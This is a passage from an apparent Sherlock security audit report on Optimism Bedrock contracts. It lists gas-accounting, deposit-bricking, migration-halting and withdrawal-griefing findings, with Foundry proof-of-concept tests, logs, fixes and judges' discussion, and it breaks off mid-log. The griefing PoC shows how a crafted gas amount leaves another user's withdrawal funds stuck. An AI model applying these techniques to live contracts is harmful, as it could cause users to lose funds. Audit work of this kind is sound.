func callGas(isEip150 bool, availableGas, base uint64, callCost *uint256.Int)
↪  (uint64, error) {
    if isEip150 {
        availableGas = availableGas - base
        gas := availableGas - availableGas/64
        // If the bit length exceeds 64 bit we know that the newly calculated
↪  "gas" for EIP150
        // is smaller than the requested amount. Therefore we return the new gas
↪  instead
        // of returning an error.
        if !callCost.IsUint64() || gas < callCost.Uint64() {
            return gas, nil
        }
    }
    if !callCost.IsUint64() {
        return 0, ErrGasUintOverflow
    }

    return callCost.Uint64(), nil
}
```

The `base` gas is calculated in `gasCall()` of `gas_table.go`, which is subject to

```
(1) L370~L376: call to a new account
(2) L377~L379: call with non zero value
(3) L380~L383: memory expansion
```

The `(1)` and `(3)` are irrelevant in this case, but `(2)` should be taken into account.

https://github.com/ethereum/go-ethereum/blob/2adce0b06640aa665706d014a92cd06f0720dcab/core/vm/gas_table.go#L364

```
File: core\vm\gas_table.go
364: func gasCall(evm *EVM, contract *Contract, stack *Stack, mem *Memory,
↪  memorySize uint64) (uint64, error) {
365:     var (
366:         gas            uint64
367:         transfersValue = !stack.Back(2).IsZero()
```

```
368:         address         = common.Address(stack.Back(1).Bytes20())
369:     )
370:     if evm.chainRules.IsEIP158 {
371:         if transfersValue && evm.StateDB.Empty(address) {
372:             gas += params.CallNewAccountGas
373:         }
374:     } else if !evm.StateDB.Exist(address) {
375:         gas += params.CallNewAccountGas
376:     }
377:     if transfersValue {
378:         gas += params.CallValueTransferGas
379:     }
380:     memoryGas, err := memoryGasCost(mem, memorySize)
381:     if err != nil {
382:         return 0, err
383:     }
384:     var overflow bool
385:     if gas, overflow = math.SafeAdd(gas, memoryGas); overflow {
386:         return 0, ErrGasUintOverflow
387:     }
388:
389:     evm.callGasTemp, err = callGas(evm.chainRules.IsEIP150, contract.Gas,
↪  gas, stack.Back(0))
390:     if err != nil {
391:         return 0, err
392:     }
393:     if gas, overflow = math.SafeAdd(gas, evm.callGasTemp); overflow {
394:         return 0, ErrGasUintOverflow
395:     }
396:     return gas, nil
397: }
```

The `raw` extra gas for transferring value is

```
params.CallValueTransferGas - params.CallStipend * 64 / 63 = 9000 - 2300 * 64 /
↪  63 = 6664
```

releated LOCs: https://github.com/ethereum/go-ethereum/blob/2adce0b06640aa665706d014a92cd06f0720dcab/params/protocol_params.go#L30
https://github.com/ethereum/go-ethereum/blob/2adce0b06640aa665706d014a92cd06f0720dcab/params/protocol_params.go#L37
https://github.com/ethereum/go-ethereum/blob/2adce0b06640aa665706d014a92cd06f0720dcab/core/vm/instructions.go#L681-L684

Secondly, EIP-2929 also affects the gas cost of `CALL` opcode.

Let's look at the implementation of EIP-2929 on `CALL` opcode, the `ColdAccountAccessCostEIP2929` is 2600 and the `WarmStorageReadCostEIP2929` is 100, they are subtracted before applying `63/64` rule too.
https://github.com/ethereum/go-ethereum/blob/2adce0b06640aa665706d014a92cd06f0720dcab/core/vm/operations_acl.go#L160

```
File: core\vm\operations_acl.go
195:    gasCallEIP2929         = makeCallVariantGasCallEIP2929(gasCall)

File: core\vm\operations_acl.go
160: func makeCallVariantGasCallEIP2929(oldCalculator gasFunc) gasFunc {
161:    return func(evm *EVM, contract *Contract, stack *Stack, mem *Memory,
 ↪  memorySize uint64) (uint64, error) {
162:        addr := common.Address(stack.Back(1).Bytes20())
163:        // Check slot presence in the access list
164:        warmAccess := evm.StateDB.AddressInAccessList(addr)
165:        // The WarmStorageReadCostEIP2929 (100) is already deducted in the
 ↪  form of a constant cost, so
166:        // the cost to charge for cold access, if any, is Cold - Warm
167:        coldCost := params.ColdAccountAccessCostEIP2929 -
 ↪  params.WarmStorageReadCostEIP2929
168:        if !warmAccess {
169:            evm.StateDB.AddAddressToAccessList(addr)
170:            // Charge the remaining difference here already, to correctly
 ↪  calculate available
171:            // gas for call
172:            if !contract.UseGas(coldCost) {
173:                return 0, ErrOutOfGas
174:            }
175:        }
176:        // Now call the old calculator, which takes into account
177:        // - create new account
178:        // - transfer value
179:        // - memory expansion
180:        // - 63/64ths rule
181:        gas, err := oldCalculator(evm, contract, stack, mem, memorySize)
182:        if warmAccess || err != nil {
183:            return gas, err
184:        }
185:        // In case of a cold access, we temporarily add the cold charge
 ↪  back, and also
186:        // add it to the returned gas. By adding it to the return, it will
 ↪  be charged
187:        // outside of this function, as part of the dynamic gas, and that
 ↪  will make it
188:        // also become correctly reported to tracers.
```

```
189:         contract.Gas += coldCost
190:         return gas + coldCost, nil
191:     }
192: }
```

Here is a test script to show the impact of the two aspects mentioned above

```
// SPDX-License-Identifier: MIT
pragma solidity 0.8.15;

import "forge-std/Test.sol";
import "forge-std/console.sol";

library SafeCall {
    function callWithMinGas(
        address _target,
        uint256 _minGas,
        uint256 _value,
        bytes memory _calldata
    ) internal returns (bool) {
        bool _success;
        uint256 gasSent;
        assembly {
            // Assertion: gasleft() >= ((_minGas + 200) * 64) / 63
            //
            // Because EIP-150 ensures that, a maximum of 63/64ths of the
↪   remaining gas in the call
            // frame may be passed to a subcontext, we need to ensure that the
↪   gas will not be
            // truncated to hold this function's invariant: "If a call is
↪   performed by
            // `callWithMinGas`, it must receive at least the specified minimum
↪   gas limit." In
            // addition, exactly 51 gas is consumed between the below `GAS`
↪   opcode and the `CALL`
            // opcode, so it is factored in with some extra room for error.
            if lt(gas(), div(mul(64, add(_minGas, 200)), 63)) {
                // Store the "Error(string)" selector in scratch space.
                mstore(0, 0x08c379a0)
                // Store the pointer to the string length in scratch space.
                mstore(32, 32)
                // Store the string.
                //
                // SAFETY:
                // - We pad the beginning of the string with two zero bytes as
↪   well as the
```

```
                // length (24) to ensure that we override the free memory
↪  pointer at offset
                // 0x40. This is necessary because the free memory pointer is
↪  likely to
                // be greater than 1 byte when this function is called, but it
↪  is incredibly
                // unlikely that it will be greater than 3 bytes. As for the
↪  data within
                // 0x60, it is ensured that it is 0 due to 0x60 being the zero
↪  offset.
                // - It's fine to clobber the free memory pointer, we're
↪  reverting.
                mstore(
                    88,
                    0x000018536166654361 6c6c3a204e6f7420656e6f75676820676173
                )

                // Revert with 'Error("SafeCall: Not enough gas")'
                revert(28, 100)
            }

            // The call will be supplied at least (((_minGas + 200) * 64) / 63)
↪  - 49 gas due to the
            // above assertion. This ensures that, in all circumstances, the
↪  call will
            // receive at least the minimum amount of gas specified.
            // We can prove this property by solving the inequalities:
            // ((((_minGas + 200) * 64) / 63) - 49) >= _minGas
            // ((((_minGas + 200) * 64) / 63) - 51) * (63 / 64) >= _minGas
            // Both inequalities hold true for all possible values of `_minGas`.
            gasSent := gas() // @audit this operation costs 2 gas
            _success := call(
                gas(), // gas
                _target, // recipient
                _value, // ether value
                add(_calldata, 32), // inloc
                mload(_calldata), // inlen
                0x00, // outloc
                0x00 // outlen
            )
        }
        console.log("gasSent =", gasSent);
        return _success;
    }
}

contract Callee {
    fallback() external payable {
```

```
        uint256 gas = gasleft();
        console.log("gasReceived =", gas);
    }
}

contract Caller {
    function execute(
        address _target,
        uint256 _minGas,
        bytes memory _calldata
    ) external payable {
        SafeCall.callWithMinGas(_target, _minGas, msg.value, _calldata);
    }
}

contract TestCallWithMinGas is Test {
    address callee;
    Caller caller;

    function setUp() public {
        callee = address(new Callee());
        caller = new Caller();
    }

    function testCallWithMinGas() public {
        console.log("-------1st call------");
        caller.execute{gas: 64_855}(callee, 63_000, "");

        console.log("\n  -------2nd call------");
        caller.execute{gas: 64_855}(callee, 63_000, "");

        console.log("\n  -------3rd call------");
        caller.execute{gas: 62_555, value: 1}(callee, 63_000, "");
    }
}
```

And the log would be

```
Running 1 test for test/TestCallWithMinGas.sol:TestCallWithMinGas
[PASS] testCallWithMinGas() (gas: 36065)
Logs:
  -------1st call------
  gasReceived = 60582
  gasSent = 64200

  -------2nd call------
```

```
gasReceived = 63042
gasSent = 64200

-------3rd call------
gasReceived = 56483
gasSent = 64200
```

The difference between `1st call` and `2nd call` is caused by EIP-2929, and the difference between `2nd call` and `3rd call` is caused by transferring value. We can see the actual received gas in the sub-contract is less than the 63,000 `_minGas` limit in both 1st and 3rd call.

Impact

`SafeCall.callWithMinGas()` is a key design to ensure withdrawal transactions will be executed with more gas than the limit specified by users. This issue breaks the specification. Finalizing withdrawal transactions with less than specified gas limit may fail unexpectedly due to out of gas, lead to loss of funds.

Code Snippet

https://github.com/sherlock-audit/2023-03-optimism/blob/main/optimism/packages/contracts-bedrock/contracts/libraries/SafeCall.sol#L48

Tool used

Manual Review

Recommendation

The migration logic may look like

```
if (_value == 0) {
     gasleft() >= ((_minGas + 200) * 64) / 63 + 2600
} else {
     gasleft() >= ((_minGas + 200) * 64) / 63 + 2600 + 6700
}
```

Discussion

GalloDaSballo

The math checks out, the base-gas is ignoring CALL + Cold Address meaning that there are scenarios in which base gas is not sufficient

hrishibhat

Sponsor comment: This report is valid. The formula used in `SafeCall.callWithMinGas()` does not account for all of the dynamic gas costs of the `CALL` opcode.

GalloDaSballo

The finding shows the full impact, agree with High Severity

Issue M-1: Setting `baseFeeMaxChangeDenominator` to 1 will break all deposits

Source: https://github.com/sherlock-audit/2023-03-optimism-judging/issues/89

Found by

obront

Summary

If `baseFeeMaxChangeDenominator` is set to `1`, then the first time that a block is skipped with no deposits, the deposit function will stop working. All depositing into the L2 will remain impossible until `baseFeeMaxChangeDenominator` is set to a value other than 1.

Vulnerability Detail

The upgraded `ResourceMetering.sol` contract allows the admins to set the important parameters used to calculate gas costs for deposits.

One of those parameters is the `baseFeeMaxChangeDenominator`. This variable is used to determine the rate at which the last block's gas market moves the gas price, where 1 means the gas price is determined completely by the previous block, and higher numbers mean that the previous state is more highly weighted over the most recent block.

The formula can be simplified to: `baseFeeDelta = prevBaseFee * (1 + (% gas used above or below target / baseFeeMaxChangeDenominator))`

When setting this parameter, there is a check to ensure that the value is set to a positive number:

```
require(_config.baseFeeMaxChangeDenominator > 0, "SystemConfig: denominator
↪  cannot be 0");
```

However, this check is not sufficient. In the case where the parameter is set to `1`, it will revert in any situation where multiple blocks are processed at once, due to the implementation of the `cdexp()` function.

First, here is how the base fee is calculated when multiple blocks are skipped:

```
if (blockDiff > 1) {
    // Update the base fee by repeatedly applying the exponent
↪  1-(1/change_denominator)
    // blockDiff - 1 times. Simulates multiple empty blocks. Clamp the resulting
↪  value
```

```
    // between min and max.
    newBaseFee = Arithmetic.clamp({
        _value: Arithmetic.cdexp({
            _coefficient: newBaseFee,
            _denominator: int256(uint256(config.baseFeeMaxChangeDenominator)),
            _exponent: int256(blockDiff - 1)
        }),
        _min: int256(uint256(config.minimumBaseFee)),
        _max: int256(uint256(config.maximumBaseFee))
    });
}
```

We call the `cdexp()` function with `newBaseFee`, `baseFeeMaxChangeDenominator`, and `blockDiff-1` as arguments.

That function is implemented as:

```
function cdexp(
    int256 _coefficient,
    int256 _denominator,
    int256 _exponent
) internal pure returns (int256) {
    return
        (_coefficient *
            (FixedPointMathLib.powWad(1e18 - (1e18 / _denominator), _exponent *
↪   1e18))) / 1e18;
}
```

If we plug in our arguments, this becomes:

`newBaseFee * (powWad(1e18 - (1e18 / baseFeeMaxChangeDenominator), (blockDiff-1 * 1e18))) / 1e18`

Simplifying further and substiting `1` in for `baseFeeMaxChangeDenominator`, we get:

`newBaseFee * powWad(0, blockDiff-1 * 1e18) / 1e18`

If we look at the implementation for `powWad()`, we see:

```
function powWad(int256 x, int256 y) internal pure returns (int256) {
    // Equivalent to x to the power of y because x ** y = (e ** ln(x)) ** y = e
↪   ** (ln(x) * y)
    return expWad((lnWad(x) * y) / int256(WAD)); // Using ln(x) means x must be
↪   greater than 0.
}
```

This calls `lnWad(x)`, which would be `lnWad(0)`. Here is the start of that function:

This will revert with an error message of `UNDEFINED`, and the deposit will not be able

to be processed.

Impact

If `baseFeeMaxChangeDenominator` is set to `1`, then the first time that a block is skipped with no deposits, the deposit function will become bricked. As the `blockDiff` will never go down after this point, all deposits will remain bricked until `baseFeeMaxChangeDenominator` is set to a value other than 1.

Code Snippet

https://github.com/ethereum-optimism/optimism/blob/9b9f78c6613c6ee53b93ca43c71bb74479f4b975/packages/contracts-bedrock/contracts/L1/SystemConfig.sol#L280

https://github.com/ethereum-optimism/optimism/blob/9b9f78c6613c6ee53b93ca43c71bb74479f4b975/packages/contracts-bedrock/contracts/L1/ResourceMetering.sol#L119-L138

https://github.com/transmissions11/solmate/blob/ed67feda67b24fdeff8ad1032360f0ee6047ba0a/src/utils/FixedPointMathLib.sol#L29-L32

https://github.com/transmissions11/solmate/blob/ed67feda67b24fdeff8ad1032360f0ee6047ba0a/src/utils/FixedPointMathLib.sol#L94

Tool used

Manual Review

Recommendation

When setting the `baseFeeMaxChangeDenominator` parameter, ensure the value is greater than 1:

```
-require(_config.baseFeeMaxChangeDenominator > 0, "SystemConfig: denominator
↪  cannot be 0");
+require(_config.baseFeeMaxChangeDenominator > 1, "SystemConfig: denominator
↪  must be greater than 1");
```

Discussion

hrishibhat

Sponsor comment: This is a valid finding for the resource metering configuration parameter checks.

GalloDaSballo

Agree with Med due to reliance on condition

Issue M-2: Gas usage of cross-chain messages is under-counted, causing discrepancy between L1 and L2 and impacting intrinsic gas calculation

Source: https://github.com/sherlock-audit/2023-03-optimism-judging/issues/88

Found by

Jeiwan

Summary

Gas consumption of messages sent via CrossDomainMessenger (including both L1CrossDomainMessenger and L2CrossDomainMessenger) is calculated incorrectly: the gas usage of the "relayMessage" wrapper is not counted. As a result, the actual gas consumption of sending a message will be higher than expected. Users will pay less for gas on L1, and L2 blocks may be filled earlier than expected. This will also affect gas metering via ResourceMetering: metered gas will be lower than actual consumed gas, and the EIP-1559-like gas pricing mechanism won't reflect the actual demand for gas.

Vulnerability Detail

The CrossDomainMessenger.sendMessage function is used to send cross-chain messages. Users are required to set the `_minGasLimit` argument, which is the expected amount of gas that the message will consume on the other chain. The function also computes the amount of gas required to pass the message to the other chain: this is done in the baseGas function, which computes the byte-wise cost of the message. `CrossDomainMessenger` also allows users to replay their messages on the destination chain if they failed: to allow this, the contract wraps user messages in relayMessage calls. This increases the size of messages, but the `baseGas` call above counts gas usage of only the original, not wrapped in the `relayMessage` call, message.

This contradicts the intrinsic gas calculation in op-geth, which calculates gas of an entire message data:

```
dataLen := uint64(len(data))
// Bump the required gas by the amount of transactional data
if dataLen > 0 {
    ...
}
```

Thus, there's a discrepancy between the contract and the node, which will result in the node consuming more gas than users paid for.

This behaviour also disagrees with how the migration process works:

1. when migrating pre-Bedrock withdrawals, `data` is the entire messages, including the `relayMessage` calldata;
2. the gas limit of migrated messages is computed on the entire data.

Taking into account the logic of paying cross-chain messages' gas consumption on L1, I think the implementation in the migration code is correct and the implementation in `CrossDomainMessenger` is wrong: users should pay for sending the entire cross-chain message, not just the calldata that will be execute on the recipient on the other chain.

Impact

Since the `CrossDomainMessenger` contract is recommended to be used as the main cross-chain messaging contract and since it's used by both L1 and L2 bridges (when bridging ETH or ERC20 tokens), the undercounted gas will have a broad impact on the system. It'll create a discrepancy in gas usage and payment on L1 and L2: on L1, users will pay for less gas than actually will be consumed by cross-chain messages.

Also, since messages sent from L1 to L2 (via OptimismPortal.depositTransaction) are priced using an EIP-1559-like mechanism (via ResourceMetering._metered), the mechanism will fail to detect the actual demand for gas and will generally set lower gas prices, while actual gas consumption will be higher.

The following bytes are excluded from gas usage counting:

1. the 4 bytes of the relayMessage selector;
2. the 32 bytes of the message nonce;
3. the address of the sender (20 bytes);
4. the address of the recipient (20 bytes);
5. the amount of ETH sent with the message (32 bytes);
6. the minimal gas limit of the nested message (32 bytes).

Thus, every cross-chain message sent via the bridge or the messenger will contain 140 bytes that won't be paid by users. The bytes will however be processed by the node and accounted in the gas consumption.

Code Snippet

1. CrossDomainMessenger.sendMessage sends cross-chain messages: https://github.com/ethereum-optimism/optimism/blob/9b9f78c6613c6ee53b93ca43c71bb74479f4b975/packages/contracts-bedrock/contracts/universal/CrossDomainMessenger.sol#L247
2. `CrossDomainMessenger.sendMessage` wraps cross-chain messages in `relayMessage` calls: https://github.com/ethereum-optimism/optimism/blob/9b9f78c6613c6ee53b93ca43c71bb74479f4b975/packages/contracts-bedrock/contracts/universal/CrossDomainMessenger.sol#L260-L268
3. The gas limit counting of cross-chain messages includes only the length of the nested message and doesn't include the `relayMessage` wrapping: https://github.com/ethereum-optimism/optimism/blob/9b9f78c6613c6ee53b93ca43c71bb74479f4b975/packages/contracts-bedrock/contracts/universal/CrossDomainMessenger.sol#L258
4. When pre-Bedrock withdrawals are migrated, gas limit calculation does include the `relayMessage` wrapping: https://github.com/ethereum-optimism/optimism/blob/9b9f78c6613c6ee53b93ca43c71bb74479f4b975/op-chain-ops/crossdomain/migrate.go#L73-L86

Tool used

Manual Review

Recommendation

When counting gas limit in the `CrossDomainMessenger.sendMessage` function, consider counting the entire message, including the `relayMessage` calldata wrapping. Consider a change like that:

```
diff --git
 ↪  a/packages/contracts-bedrock/contracts/universal/CrossDomainMessenger.sol
 ↪  b/packages/contracts-bedrock/contracts/universal/CrossDomainMessenger.sol
index f67021010..5239feefd 100644
--- a/packages/contracts-bedrock/contracts/universal/CrossDomainMessenger.sol
+++ b/packages/contracts-bedrock/contracts/universal/CrossDomainMessenger.sol
@@ -253,19 +253,20 @@ abstract contract CrossDomainMessenger is
         // message is the amount of gas requested by the user PLUS the base gas
 ↪  value. We want to
         // guarantee the property that the call to the target contract will
 ↪  always have at least
         // the minimum gas limit specified by the user.
+        bytes memory wrappedMessage = abi.encodeWithSelector(
+            this.relayMessage.selector,
+            messageNonce(),
```

```
+            msg.sender,
+            _target,
+            msg.value,
+            _minGasLimit,
+            _message
+        );
         _sendMessage(
             OTHER_MESSENGER,
-            baseGas(_message, _minGasLimit),
+            baseGas(wrappedMessage, _minGasLimit),
             msg.value,
-            abi.encodeWithSelector(
-                this.relayMessage.selector,
-                messageNonce(),
-                msg.sender,
-                _target,
-                msg.value,
-                _minGasLimit,
-                _message
-            )
+            wrappedMessage
         );

         emit SentMessage(_target, msg.sender, _message, messageNonce(),
↪   _minGasLimit);
```

Discussion

hrishibhat

Sponsor comment: This should improve gas estimation but is low in severity since it does not affect usage or impact the intended functionality.

GalloDaSballo

Would judge in the same way as #77 the incorrect math can lead to an issue

GalloDaSballo

I see this as logically equivalent to #77 so I believe it should be awarded as Med

GalloDaSballo

This can also be quantified as `140 * 16 = 2240` All l1 -> l2 tx are underpriced by that amount (roughly 10% of fixed base cost)

GalloDaSballo

Can see this being escalated against because it's "only" 10% incorrect, but find hard to argue against the math not being correct

Issue M-3: Estimating gas required to relay the message on both L1 and L2 is incorrect

Source: https://github.com/sherlock-audit/2023-03-optimism-judging/issues/77

Found by

Koolex

Summary

Estimating gas required to relay the message on both L1 and L2 is incorrect

Vulnerability Detail

The gas estimation for `L1CrossDomainMessenger.relayMessage` and `L2CrossDomainMessenger.relayMessage` doesn't take into account the line that clears the reentrancy lock for `versionedHash`

```
reentrancyLocks[versionedHash] = false;
```

This is the old code

```
if (success == true) {
    successfulMessages[versionedHash] = true;
    emit RelayedMessage(versionedHash);
} else {
    failedMessages[versionedHash] = true;
    emit FailedRelayedMessage(versionedHash);

    // Revert in this case if the transaction was triggered by the estimation
    ↪ address. This
    // should only be possible during gas estimation or we have bigger problems.
    ↪ Reverting
    // here will make the behavior of gas estimation change such that the gas
    ↪ limit
    // computed will be the amount required to relay the message, even if that
    ↪ amount is
    // greater than the minimum gas limit specified by the user.
    if (tx.origin == Constants.ESTIMATION_ADDRESS) {
        revert("CrossDomainMessenger: failed to relay message");
    }
}
```

And the new one is

```
if (success) {
    successfulMessages[versionedHash] = true;
    emit RelayedMessage(versionedHash);
} else {
    failedMessages[versionedHash] = true;
    emit FailedRelayedMessage(versionedHash);

    // Revert in this case if the transaction was triggered by the estimation
    ↪ address. This
    // should only be possible during gas estimation or we have bigger problems.
    ↪ Reverting
    // here will make the behavior of gas estimation change such that the gas
    ↪ limit
    // computed will be the amount required to relay the message, even if that
    ↪ amount is
    // greater than the minimum gas limit specified by the user.
    if (tx.origin == Constants.ESTIMATION_ADDRESS) {
        revert("CrossDomainMessenger: failed to relay message");
    }
}

// Clear the reentrancy lock for `versionedHash`
reentrancyLocks[versionedHash] = false;
```

As you can see in the old code, the revert is at the end to account for all Opcodes before. However, in the new code, it doesn't consider the last line `reentrancyLocks[versionedHash] = false`.

Impact

Wrong estimation of the gas limit amount required to relay the message on both L1 and L2

Code Snippet

https://github.com/sherlock-audit/2023-03-optimism/blob/main/optimism/packages/contracts-bedrock/contracts/universal/CrossDomainMessenger.sol#L382

Tool used

Manual Review

Recommendation

Move the revert to the end, and add a check for the `success`. So it becomes as follows:

```
// Clear the reentrancy lock for `versionedHash`
reentrancyLocks[versionedHash] = false;

if (success == false && tx.origin == Constants.ESTIMATION_ADDRESS) {
    revert("CrossDomainMessenger: failed to relay message");
}
```

Discussion

GalloDaSballo

Valid, incorrect behaviour in estimating in my opinion

Due to discrepancy, I do recommend Medium Severity as the result of the estimate will most often result in Reverts when the output from the estimate is expected to be sufficient gas to prevent this scenario

hrishibhat

Sponsor comment: Gas estimation is low actionable.

GalloDaSballo

I recommend Medium Severity

The finding shows a reliable way to get incorrect estimates which can lead to behaviour that will cause loss of funds, I don't see this as a risk that the protocol is willing to take because anyone using the math will get the wrong result

GalloDaSballo

I would maintain Medium Severity, in contrast to Sherlocks rule around integration, the gas estimate is meant to be used by end users, it being wrong leaves the option for bigger griefs (OOG Reverts, not explained here)

Fine with getting this escalated against if majority of people disagrees

Issue M-4: Malicious actor can prevent migration by calling a non-existing function in `OVM_L2ToL1MessagePasser` and making `ReadWitnessData` return an error

Source: https://github.com/sherlock-audit/2023-03-optimism-judging/issues/67

Found by

0xdeadbeef

Summary

There is a mismatch between collected witness data in l2geth to the parsing of the collected data during migration. The mismatch will return an error and halt the migration until the data will be cleaned.

Vulnerability Detail

Witness data is collected from L2geth using a state dumper that collects any call to `OVM_L2ToL1MessagePasser`. The data is collected regardless of the calldata itself. Any call to `OVM_L2ToL1MessagePasser` will be collected. The data will persist regardless of the status of the transaction.

https://github.com/sherlock-audit/2023-03-optimism/blob/main/optimism/l2geth/core/vm/evm.go#L206-L209

```
func (evm *EVM) Call(caller ContractRef, addr common.Address, input []byte, gas
↪  uint64, value *big.Int) (ret []byte, leftOverGas uint64, err error) {
   if addr == dump.MessagePasserAddress {
       statedumper.WriteMessage(caller.Address(), input)
   }
```

The data will be stored in a file in the following format: "MSG|<source>|<calldata>"

At the start of the migration process, in order to unpack the message from the calldata, the code uses the first 4 bytes to lookup the the selector of `passMessageToL1` from the calldata and unpack the calldata according to the ABI.

`ReadWitnessData`: https://github.com/sherlock-audit/2023-03-optimism/blob/main/optimism/op-chain-ops/crossdomain/witness.go#L81-L89

```
method, err := abi.MethodById(msgB[:4])
if err != nil {
    return nil, nil, fmt.Errorf("failed to get method: %w", err)
}
```

```
out, err := method.Inputs.Unpack(msgB[4:])
if err != nil {
    return nil, nil, fmt.Errorf("failed to unpack: %w", err)
}
```

As can be seen above, the function will return an error that is bubbled up to stop the migration if:

1. The calldata first 4 bytes is not a selector of a function from the ABI of `OVM_L2ToL1MessagePasser`
2. The parameters encoded with the selectors are not unpackable (are not the parameters specified by the ABI)

A malicious actor will call any non-existing function in the address of `OVM_L2ToL1MessagePasser`. The message will be stored in the witness data and cause an error during migration.

`ReadWitnessData` is called to parse they json witness data before any filtering is in place.

Impact

An arbitrary user can halt the migration process

Code Snippet

In vulnerability section

Tool used

Manual Review

Recommendation

Instead of bubbling up an error, simply continue to the next message. This shouldn't cause a problem since in the next stages of the migration there are checks to validate any missing messages from the storage.

Discussion

hrishibhat

Sponsor comment: Invalid witness data can cause an error during migration by malicious actor call to the OVM_L2ToL1MessagePasser.

GalloDaSballo

Temporary DOS, not acceptable risk, agree with Med

Issue M-5: Malicious user can finalize other's withdrawal with precise amount of gas, leading to loss of funds even after the fix

Source: https://github.com/sherlock-audit/2023-03-optimism-judging/issues/37

Found by

ShadowForce

Summary

Malicious user can finalize other's withdrawal with precise amount of gas, leading to loss of funds even after the fix

Vulnerability Detail

In the previous contest, we observed an exploit very similar to this one found by zachobront and trust. In this current, contest the team has employed some fixes to try to mitigate the risk outlined by the previous issue.

The way the protocol tried to achieve this was by removing the gas buffer and instead implement this assertion below: Assertion: gasleft() >= ((_minGas + 200) * 64) / 63

The protocol did this in the `callWithMinGas()` function by implementing the assertion's logic using assembly. we can observe that below.

```
    function callWithMinGas(
        address _target,
        uint256 _minGas,
        uint256 _value,
        bytes memory _calldata
    ) internal returns (bool) {
        bool _success;
        assembly {
            // Assertion: gasleft() >= ((_minGas + 200) * 64) / 63
            //
            // Because EIP-150 ensures that, a maximum of 63/64ths of the
↪   remaining gas in the call
            // frame may be passed to a subcontext, we need to ensure that the
↪   gas will not be
            // truncated to hold this function's invariant: "If a call is
↪   performed by
            // `callWithMinGas`, it must receive at least the specified minimum
↪   gas limit." In
```

```
            // addition, exactly 51 gas is consumed between the below `GAS`
↪  opcode and the `CALL`
            // opcode, so it is factored in with some extra room for error.
            if lt(gas(), div(mul(64, add(_minGas, 200)), 63)) {
                // Store the "Error(string)" selector in scratch space.
                mstore(0, 0x08c379a0)
                // Store the pointer to the string length in scratch space.
                mstore(32, 32)
                // Store the string.
                //
                // SAFETY:
                // - We pad the beginning of the string with two zero bytes as
↪  well as the
                // length (24) to ensure that we override the free memory
↪  pointer at offset
                // 0x40. This is necessary because the free memory pointer is
↪  likely to
                // be greater than 1 byte when this function is called, but it
↪  is incredibly
                // unlikely that it will be greater than 3 bytes. As for the
↪  data within
                // 0x60, it is ensured that it is 0 due to 0x60 being the zero
↪  offset.
                // - It's fine to clobber the free memory pointer, we're
↪  reverting.
                mstore(88,
↪  0x0000185361666543616c6c3a204e6f7420656e6f75676820676173)

                // Revert with 'Error("SafeCall: Not enough gas")'
                revert(28, 100)
            }

            // The call will be supplied at least (((_minGas + 200) * 64) / 63)
↪  - 49 gas due to the
            // above assertion. This ensures that, in all circumstances, the
↪  call will
            // receive at least the minimum amount of gas specified.
            // We can prove this property by solving the inequalities:
            // ((((_minGas + 200) * 64) / 63) - 49) >= _minGas
            // ((((_minGas + 200) * 64) / 63) - 51) * (63 / 64) >= _minGas
            // Both inequalities hold true for all possible values of `_minGas`.
            _success := call(
                gas(), // gas
                _target, // recipient
                _value, // ether value
                add(_calldata, 32), // inloc
                mload(_calldata), // inlen
                0x00, // outloc
```


```
                0x00 // outlen
            )
        }
        return _success;
    }
}
```

This addition was not sufficient to mitigate the risk. A malicious user can still use a specific amount of gas on `finalizeWithdrawalTransaction` to cause a Loss Of Funds for another user.

According the PR comments, the protocol intended to reserve at least 20000 wei gas buffer, but the implementation only reserve 200 wei of gas.

```
if lt(gas(), div(mul(64, add(_minGas, 200)), 63)) {
```

https://github.com/ethereum-optimism/optimism/pull/4954

Impact

Malicious user can finalize another user's withdrawal with a precise amount of gas to ultimately grief the user's withdrawal and lose his funds completely.

Code Snippet

https://github.com/ethereum-optimism/optimism/blob/4ea4202510b6247c36aedda4acc2057826df784e/packages/contracts-bedrock/contracts/L1/OptimismPortal.sol#L388-L413

https://github.com/ethereum-optimism/optimism/blob/4ea4202510b6247c36aedda4acc2057826df784e/packages/contracts-bedrock/contracts/universal/CrossDomainMessenger.sol#L291-L384

Proof Of Concept

below is a foundry test that demonstrates how a malicious user can still specify a gas that can pass checks but also reverts which will cause a user's funds to be stuck

```
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
```

```
import "forge-std/Test.sol";
import "../src/Exploit.sol";
import "../src/RelayMessagerReentrancy.sol";
import "../src/Portal.sol";
import "forge-std/console.sol";

contract CounterTest is Test {

    RelayMessagerReentrancy messager = new
↪   RelayMessagerReentrancy(address(this));
    Exploit exploit = new Exploit(address(messager));
    Portal portal = new Portal(address(messager));

    uint256 nonce = 1;
    address sender = address(this);
    address target = address(exploit);
    uint256 value = 0;
    uint256 minGasLimit = 100000000 wei;

    function createMessage() public returns (bytes memory) {

        bytes memory message = abi.encodeWithSelector(
            Exploit.call.selector,
            messager,
            3,
            sender,
            target,
            0,
            minGasLimit
        );

        return message;

    }

    function setUp() public {

    }

    function testHasEnoughGas() public {

        address bob = address(1231231243);

        console.log("bob's balance before");
        console.log(bob.balance);

        uint256 minGasLimit = 30000 wei;
```

```
        address sender = address(this);

        address target = bob;

        bytes memory message = abi.encodeWithSelector(
            '0x',
            messager,
            4,
            sender,
            target,
            1 ether,
            minGasLimit
        );

        bytes memory messageRelayer = abi.encodeWithSelector(
            RelayMessagerReentrancy.relayMessage.selector,
            4,
            sender,
            target,
            1 ether,
            minGasLimit,
            message
        );

        portal.finalizeWithdraw{value: 1 ether, gas: 200000 wei}(minGasLimit, 1
↪  ether, messageRelayer);

        console.log("bob's balance after the function call");
        console.log(bob.balance);

    }



    function testOutOfGas() public {

        address bob = address(1231231243);

        console.log("bob's balance before");
        console.log(bob.balance);

        uint256 minGasLimit = 30000 wei;

        address sender = address(this);

        address target = bob;

        bytes memory message = abi.encodeWithSelector(
```


```
            '0x',
            messager,
            4,
            sender,
            target,
            1 ether,
            minGasLimit
        );

        bytes memory messageRelayer = abi.encodeWithSelector(
            RelayMessagerReentrancy.relayMessage.selector,
            4,
            sender,
            target,
            1 ether,
            minGasLimit,
            message
        );

        portal.finalizeWithdraw{value: 1 ether, gas: 110000 wei}(minGasLimit, 1
↪  ether, messageRelayer);

        console.log("bob's balance after the function call");
        console.log(bob.balance);

    }

}
```

when running the test the outcome is as follows

```
Running 2 tests for test/RelayMessagerReentrancy.t..sol:CounterTest
[PASS] testHasEnoughGas() (gas: 130651)
Logs:
  bob's balance before
  0
  gas left after externall call
  100196
  gas needed after external call
  25038
  success after finalize withdraw????
  true
  bob's balance after the function call
  1000000000000000000

[PASS] testOutOfGas() (gas: 136001)
